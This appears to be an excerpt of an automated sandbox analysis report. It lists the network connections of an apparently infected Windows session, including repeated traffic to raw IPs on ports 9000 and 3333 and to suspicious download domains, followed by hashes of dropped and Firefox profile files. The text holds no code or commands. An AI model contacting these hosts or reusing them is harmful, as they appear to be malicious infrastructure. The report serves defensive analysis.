US 8.8.8.8:53 rauvoaty.net udp
DE 142.250.185.142:443 fundingchoicesmessages.google.com tcp
US 8.8.8.8:53 www3.l.google.com udp
US 8.8.8.8:53 rauvoaty.net udp
US 8.8.8.8:53 www3.l.google.com udp
DE 142.250.185.142:443 www3.l.google.com udp
US 8.8.8.8:53 142.185.250.142.in-addr.arpa udp
NL 139.45.197.251:443 rauvoaty.net tcp
US 8.8.8.8:53 lh3.googleusercontent.com udp
DE 142.250.185.97:443 lh3.googleusercontent.com tcp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
DE 142.250.185.97:443 googlehosted.l.googleusercontent.com udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 97.185.250.142.in-addr.arpa udp
US 8.8.8.8:53 194.184.250.142.in-addr.arpa udp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
DE 142.250.185.97:443 tpc.googlesyndication.com tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
DE 142.250.185.97:443 tpc.googlesyndication.com udp
DE 142.250.185.68:443 www.google.com tcp
DE 142.250.185.68:443 www.google.com udp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 34.206.58.216.in-addr.arpa udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 216.239.32.36:443 region1.analytics.google.com tcp
US 8.8.8.8:53 region1.analytics.google.com udp
US 216.239.32.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net tcp
DE 216.58.206.34:443 googleads.g.doubleclick.net udp
NL 139.45.195.8:443 my.rtmark.net tcp
US 8.8.8.8:53 my.rtmark.net udp
US 8.8.8.8:53 www.jenismac.com udp
US 8.8.8.8:53 36.32.239.216.in-addr.arpa udp
US 172.66.43.183:443 omoonsih.net tcp
US 8.8.8.8:53 omoonsih.net udp
US 8.8.8.8:53 omoonsih.net udp
US 8.8.8.8:53 183.43.66.172.in-addr.arpa udp
US 8.8.8.8:53 supapush.net udp
NL 139.45.197.227:443 supapush.net tcp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 supapush.net udp
US 8.8.8.8:53 static.ptoahaistais.com udp
US 8.8.8.8:53 227.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 static.ptoahaistais.com udp
NL 139.45.197.155:443 static.ptoahaistais.com tcp
US 8.8.8.8:53 zipmatepro.com udp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
US 8.8.8.8:53 zipmatepro.com udp
US 5.161.244.194:443 zipmatepro.com tcp
US 8.8.8.8:53 zipmatepro.com udp
DE 142.250.74.194:443 adclick.g.doubleclick.net tcp
US 8.8.8.8:53 155.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 194.244.161.5.in-addr.arpa udp
DE 142.250.74.194:443 adclick.g.doubleclick.net udp
US 8.8.8.8:53 por.zipmatepro.com udp
US 5.161.244.194:443 por.zipmatepro.com tcp
US 8.8.8.8:53 por.zipmatepro.com udp
US 8.8.8.8:53 por.zipmatepro.com udp
US 8.8.8.8:53 www.google.com udp
DE 142.250.185.68:443 www.google.com tcp
US 8.8.8.8:53 194.74.250.142.in-addr.arpa udp
DE 142.250.185.68:443 www.google.com udp
US 216.239.32.36:443 region1.analytics.google.com tcp
DE 142.250.185.195:443 www.google.co.uk tcp
DE 142.250.185.195:443 www.google.co.uk tcp
US 216.239.32.36:443 region1.analytics.google.com udp
DE 142.250.185.195:443 www.google.co.uk udp
BE 108.177.15.155:443 stats.g.doubleclick.net tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.34.36:443 region1.analytics.google.com udp
BE 108.177.15.155:443 stats.g.doubleclick.net udp
US 172.66.43.183:443 omoonsih.net tcp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 supapush.net udp
US 8.8.8.8:53 track.totalav.com udp
US 8.8.8.8:53 url.fortifi.zone udp
US 35.224.74.90:443 url.fortifi.zone tcp
US 8.8.8.8:53 url.fortifi.zone udp
US 8.8.8.8:53 support.mozilla.org udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 34.111.47.92:443 www.totalav.com tcp
US 8.8.8.8:53 www.totalav.com udp
US 34.111.47.92:443 www.totalav.com udp
GB 18.172.89.10:443 widget.trustpilot.com tcp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 92.47.111.34.in-addr.arpa udp
US 8.8.8.8:53 url.totalav.com udp
US 35.224.74.90:443 url.totalav.com tcp
US 8.8.8.8:53 amunfezanttor.com udp
NL 139.45.197.250:443 amunfezanttor.com tcp
NL 139.45.197.250:443 amunfezanttor.com tcp
US 8.8.8.8:53 amunfezanttor.com udp
US 172.67.186.41:443 voz7tv221u6.cfd udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 104.17.15.101:443 haxpc.net udp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 pushpong.net udp
NL 37.48.68.87:443 pushpong.net tcp
US 8.8.8.8:53 pushpong.net udp
US 8.8.8.8:53 87.68.48.37.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 196.187.250.142.in-addr.arpa udp
DE 142.250.185.174:443 plus.l.google.com udp
US 8.8.8.8:53 play.google.com udp
DE 142.250.186.110:443 play.google.com udp
DE 142.250.186.110:443 play.google.com tcp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 samplerateconverter.com udp
RU 77.222.40.132:443 samplerateconverter.com tcp
US 8.8.8.8:53 samplerateconverter.com udp
US 8.8.8.8:53 samplerateconverter.com udp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 132.40.222.77.in-addr.arpa udp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.34.36:443 region1.analytics.google.com udp
NL 139.45.197.227:443 supapush.net tcp
US 8.8.8.8:53 dreamsnest.com udp
US 172.67.211.143:443 dreamsnest.com tcp
US 8.8.8.8:53 dreamsnest.com udp
US 8.8.8.8:53 dreamsnest.com udp
US 172.67.211.143:443 dreamsnest.com udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 104.16.79.73:443 static.cloudflareinsights.com tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 104.16.79.73:443 static.cloudflareinsights.com tcp
US 8.8.8.8:53 amunfezanttor.com udp
NL 139.45.197.250:443 amunfezanttor.com tcp
US 8.8.8.8:53 amunfezanttor.com udp
US 8.8.8.8:53 143.211.67.172.in-addr.arpa udp
US 8.8.8.8:53 73.79.16.104.in-addr.arpa udp
US 216.239.32.36:443 region1.analytics.google.com tcp
DE 142.250.185.195:443 www.google.co.uk tcp
US 216.239.32.36:443 region1.analytics.google.com udp
DE 142.250.185.195:443 www.google.co.uk udp
BE 108.177.15.155:443 stats.g.doubleclick.net tcp
BE 108.177.15.155:443 stats.g.doubleclick.net udp
DE 142.250.185.142:443 www3.l.google.com tcp
DE 142.250.185.142:443 www3.l.google.com udp
US 8.8.8.8:53 cloudflareinsights.com udp
US 8.8.8.8:53 cloudflareinsights.com udp
US 104.16.79.73:443 cloudflareinsights.com tcp
US 104.16.79.73:443 cloudflareinsights.com tcp
US 8.8.8.8:53 cloudflareinsights.com udp
DE 142.250.185.97:443 tpc.googlesyndication.com tcp
DE 142.250.185.97:443 tpc.googlesyndication.com udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
US 172.67.186.41:443 voz7tv221u6.cfd udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 192.0.78.26:443 href.li udp
US 8.8.8.8:53 mega.nz udp
LU 31.216.145.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
US 8.8.8.8:53 lu.api.mega.co.nz udp
NL 66.203.127.11:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 11.127.203.66.in-addr.arpa udp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 gfs270n333.userstorage.mega.co.nz udp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
US 8.8.8.8:53 gfs270n333.userstorage.mega.co.nz udp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
US 8.8.8.8:53 43.168.44.89.in-addr.arpa udp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
LU 31.216.145.5:443 mega.nz tcp
LU 89.44.168.43:443 gfs270n333.userstorage.mega.co.nz tcp
LU 31.216.145.5:443 mega.nz tcp
LU 31.216.145.5:443 mega.nz tcp
LU 31.216.145.5:443 mega.nz tcp
LU 31.216.145.5:443 mega.nz tcp
US 216.239.32.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 feeldog.xyz udp
US 172.67.133.78:443 feeldog.xyz tcp
US 8.8.8.8:53 c.pki.goog udp
DE 172.217.18.3:80 c.pki.goog tcp
US 8.8.8.8:53 78.133.67.172.in-addr.arpa udp
US 8.8.8.8:53 3.18.217.172.in-addr.arpa udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
US 8.8.8.8:53 99.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 41.249.124.192.in-addr.arpa udp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
US 8.8.8.8:53 58.251.201.195.in-addr.arpa udp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
US 8.8.8.8:53 businessdownloads.ltd udp
US 172.67.212.123:443 businessdownloads.ltd tcp
US 8.8.8.8:53 123.212.67.172.in-addr.arpa udp
DE 195.201.251.58:9000 195.201.251.58 tcp
US 8.8.8.8:53 i.imgur.com udp
US 199.232.196.193:443 i.imgur.com tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
DE 195.201.251.58:9000 195.201.251.58 tcp
FI 135.181.22.88:80 135.181.22.88 tcp
US 8.8.8.8:53 88.22.181.135.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 proresupdate.com udp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 146.112.152.45.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
N/A 224.0.0.251:5353 udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp

Files

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\activity-stream.discovery_stream.json.tmp

MD5 f98222238f892c4a0e677b51ddab9743
SHA1 2721d5f71a477f34b049847c6fead558394477be
SHA256 1b5c496f8a963ba78aecfab22154de066f10ca43bdb2f6fc1808d45cd0683305
SHA512 6714d81e8730d84af52c7d1004b475e63b00cac7931c70765d0a040b34b3214e37a642d6b5bff655379a1b43310f31121d3104c539a516aad9e6264da6296ef2

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\activity-stream.discovery_stream.json.tmp

MD5 00a167a71a889ac8054907296db5b817
SHA1 18e3ade33b0b0e17d7fb154613246d7e0862d84c
SHA256 d0931656706ca205938ca10386372e3b3587dbb3c07bc05445af400f01a256c5
SHA512 d7e1656b5ebc293c89b0eb6ce13e5a6976d2767687d690bf4b9ada9c87698e80b219590ff924f7fd158071717399a1cd5bbce001bc26b9faa1c8cb257a8cc4d1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\sessionstore-backups\recovery.jsonlz4

MD5 3cbf82a2293c78325c2f193326b92f86
SHA1 095e90d6a8a7fee72b41624d941576245f3cbdd2
SHA256 335ea3715d71457a69e287cb1774b1fc5d69ff5219df48388ecb71ed67dcac71
SHA512 f3684b74fa03ca107c8f4e7d17f06d06b001dc250c5325e7b3bebf8c3e28e532841b042fc14aac6123817a1df3211fd863a2e930fd2009a0a633cdbf21f2d7e1

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\cache2\entries\383A97A57B113BD106DE6984E6DBA5F537327263

MD5 c9cfdfa90d47b43227bf3aaf0e51f291
SHA1 34996101c181d63298e28ef3236f5d84c4327300
SHA256 ddeee83102a5a310ff4694df71d23a6ea7e38385df517d9d9c11aca749bc47ad
SHA512 5b2efe1853a710cdc94a38049dff1674e68139d108d0b17c8e0bab1e2b805c183b107a1e41ee7eea5b2e4e1fa6e1e12a525d8b8c5af6729d53c173c5a8821e04

C:\Users\Admin\AppData\Local\Temp\tmpaddon

MD5 85430baed3398695717b0263807cf97c
SHA1 fffbee923cea216f50fce5d54219a188a5100f41
SHA256 a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e
SHA512 06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

MD5 fe3355639648c417e8307c6d051e3e37
SHA1 f54602d4b4778da21bc97c7238fc66aa68c8ee34
SHA256 1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e
SHA512 8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

MD5 3d33cdc0b3d281e67dd52e14435dd04f
SHA1 4db88689282fd4f9e9e6ab95fcbb23df6e6485db
SHA256 f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b
SHA512 a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\prefs-1.js

MD5 a7fd4f93c2b9ccf467530e3341c4d44b
SHA1 6ad197e1d8b971133ea5546410ed790507c86510
SHA256 71f79adac6819729ead7dff47437553670cf6960546753d450f215cc3b23604c
SHA512 4cac86423d8eeb0180fa431ee9fd4d7c1446a4b30db8e6e2e5c25249b8728940d403502e88bd512f826e6b08933128df108e83655c6c158c02efe6007ac9e955

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

MD5 33bf7b0439480effb9fb212efce87b13
SHA1 cee50f2745edc6dc291887b6075ca64d716f495a
SHA256 8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e
SHA512 d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

MD5 688bed3676d2104e7f17ae1cd2c59404
SHA1 952b2cdf783ac72fcb98338723e9afd38d47ad8e
SHA256 33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237
SHA512 7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

MD5 937326fead5fd401f6cca9118bd9ade9
SHA1 4526a57d4ae14ed29b37632c72aef3c408189d91
SHA256 68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81
SHA512 b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

MD5 8be33af717bb1b67fbd61c3f4b807e9e
SHA1 7cf17656d174d951957ff36810e874a134dd49e0
SHA256 e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd
SHA512 6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

MD5 49ddb419d96dceb9069018535fb2e2fc
SHA1 62aa6fea895a8b68d468a015f6e6ab400d7a7ca6
SHA256 2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539
SHA512 48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

MD5 a01c5ecd6108350ae23d2cddf0e77c17
SHA1 c6ac28a2cd979f1f9a75d56271821d5ff665e2b6
SHA256 345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42
SHA512 b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\prefs-1.js

MD5 110156ce14fd2b7a0beeb7941040c24e
SHA1 6cdbe88bae22e4088ae2635658ab828f4d508917
SHA256 04fa8821da985b50e4f64bfad48e273e3502c55af78d21e6c0a6078a25d6e0ac
SHA512 99f63682eecb0a67c9973ab3a3c42ef98e41bfd8696b24d4e6ad4e3eb578734180dfbaefa6bd340453c73c172223fee9fd05497cb1655dfd1fcd0ba9cfaa2863

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\prefs-1.js

MD5 e32e1f1b04450dfd6da6eafd54c41af2
SHA1 e8bc386f8f4c5fb52d6479b4c3fca695718528a6
SHA256 194cd3e6de22d7e8c3f77cdc95e2971564de00ad0d328cb9a831c2e946334f79
SHA512 b846f2b75ed1358b5be4e1e09a6d2a1a8e4a03fc168c37680065e40ef64f915b4459623661439d9a97d47c34bbb376d6a90730e5256bca56941089f95cc1148e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\broadcast-listeners.json

MD5 62bf07d8256bb6414abd0f52db255b7c
SHA1 7fe7252be9448d0ede08d810e934d466da9c5505
SHA256 3af9c8be5c5b9df565dd5d9965e721f6cc648296cc05a62f6eb36e6d15cfa8c9
SHA512 d7d6c9659522458952007d4ad1843e294ba5b83a64973cd3504526ba3f8ba9c2f811ec57d763dfa7c2d7f8402d216d96a9308901c681ddada1fce6d40f189615

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\targeting.snapshot.json

MD5 50a25c8d5051f1bd5c6c294184a52039
SHA1 9965657be44092183b28d7b6f79fe968fa34820b
SHA256 84d8a312aa79e4c06a4957ac8456ea4f73281dfc1557d0000ca230dbdd7893b7
SHA512 ceacff67f1833706346f73673d539fe2327b58247c6e8ac566d6934a7f457087a141258a68729e92219926e0eeea6f5d6eec7664da9852370af5f17050a62097

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\sessionCheckpoints.json

MD5 c4ab2ee59ca41b6d6a6ea911f35bdc00
SHA1 5942cd6505fc8a9daba403b082067e1cdefdfbc4
SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
SHA512 71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\recipe_attachment.json

MD5 be3d0f91b7957bbbf8a20859fd32d417
SHA1 fbc0380fe1928d6d0c8ab8b0a793a2bba0722d10
SHA256 fc07d42847eeaf69dcbf1b9a16eb48b141c11feb67aa40724be2aee83cb621b7
SHA512 8da24afcf587fbd4f945201702168e7cfc12434440200d00f09ddcd1d1d358a5e01065ac2a411fdf96a530e94db3697e3530578b392873cf874476b5e65d774a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_sports.json

MD5 ce4e75385300f9c03fdd52420e0f822f
SHA1 85c34648c253e4c88161d09dd1e25439b763628c
SHA256 44da98b03350e91e852fe59f0fc05d752fc867a5049ab0363da8bb7b7078ad14
SHA512 d119dc4706bbf3b6369fe72553cfacf1c9b2688e0188a7524b56d3e2ac85582a18bbee66d5594e0fb40767432646c23bf3e282090bd9b4c29f989a374aeae61f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_computers_and_electronics.json

MD5 6ccd943214682ac8c4ec08b7ec6dbcbd
SHA1 18417647f7c76581d79b537a70bf64f614f60fa2
SHA256 ab20b97406b0d9bf4f695e5ec7db4ebad5efb682311e74ca757d45b87ffc106b
SHA512 e57573d6f494df8aa7e8e6a20427a18f6868e19dc853b441b8506998158b23c7a4393b682c83b3513aae5075a21148dd8ca854a11dabcea6a0a0db8f2e6828b8

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_science.json

MD5 7a8fd079bb1aeb4710a285ec909c62b9
SHA1 8429335e5866c7c21d752a11f57f76399e5634b6
SHA256 9606ce3988b2d2a4921b58ac454f54e53a9ea8f358326522a8b1dcc751b50b32
SHA512 8fc1546e509b5386c9e1088e0e3a1b81f288ef67f1989f3e83888057e23769907a2b184d624a4e4c44fcd5b88d719bd4cca94dfb33798804a721b8be022ec0c6

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_jobs_and_education.json

MD5 2d69892acde24ad6383082243efa3d37
SHA1 d8edc1c15739e34232012bb255872991edb72bc7
SHA256 29080288b2130a67414ecb296a53ddd9f0a4771035e3c1b2112e0ce656a7481a
SHA512 da391152e1fbce1f03607b486c5dea9a298a438e58e440ebb7b871bd5c62d7339b540eed115b4001b9840de1ba3898c6504872ff9094ba4d6a47455051c3f1c5

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_real_estate.json

MD5 9899942e9cd28bcb9bf5074800eae2d0
SHA1 15e5071e5ed58001011652befc224aed06ee068f
SHA256 efcf6b2d09e89b8c449ffbcdb5354beaa7178673862ebcdd6593561f2aa7d99a
SHA512 9f7a5fbe6d46c694e8bc9b50e7843e9747ea3229cf4b00b8e95f1a5467bd095d166cbd523b3d9315c62e9603d990b8e56a018ba4a11d30ad607f5281cc42b4cd

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_shopping.json

MD5 97d4a0fd003e123df601b5fd205e97f8
SHA1 a802a515d04442b6bde60614e3d515d2983d4c00
SHA256 bfd7e68ddca6696c798412402965a0384df0c8c209931bbadabf88ccb45e3bb6
SHA512 111e8a96bc8e07be2d1480a820fc30797d861a48d80622425af00b009512aacb30a2df9052c53bfbf4ee0800b6e6f5b56daa93d33f30fecb52e2f3850dfa9130

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_people_and_society.json

MD5 b1bd26cf5575ebb7ca511a05ea13fbd2
SHA1 e83d7f64b2884ea73357b4a15d25902517e51da8
SHA256 4990a5d17bea15617624c48a0c7c23d16e95f15e2ec9dd1d82ee949567bbaec0
SHA512 edcede39c17b494474859bc1a9bbf18c9f6abd3f46f832086db3bb1337b01d862452d639f89f9470ca302a6fcb84a1686853ebb4b08003cb248615f0834a1e02

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_autos_and_vehicles.json

MD5 39b73a66581c5a481a64f4dedf5b4f5c
SHA1 90e4a0883bb3f050dba2fee218450390d46f35e2
SHA256 022f9495f8867fea275ece900cfa7664c68c25073db4748343452dbc0b9eda17
SHA512 cfb697958e020282455ab7fabc6c325447db84ead0100d28b417b6a0e2455c9793fa624c23cb9b92dfea25124f59dcd1d5c1f43bf1703a0ad469106b755a7cdd

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xde90bbv.default-release\personality-provider\nb_model_build_attachment_internet_and_telecom.json

MD5 36689de6804ca5af92224681ee9ea137
SHA1 729d590068e9c891939fc17921930630cd4938dd
SHA256 e646d43505c9c4e53dbaa474ef85d650a3f309ccf153d106f328d9b6aeb66d52
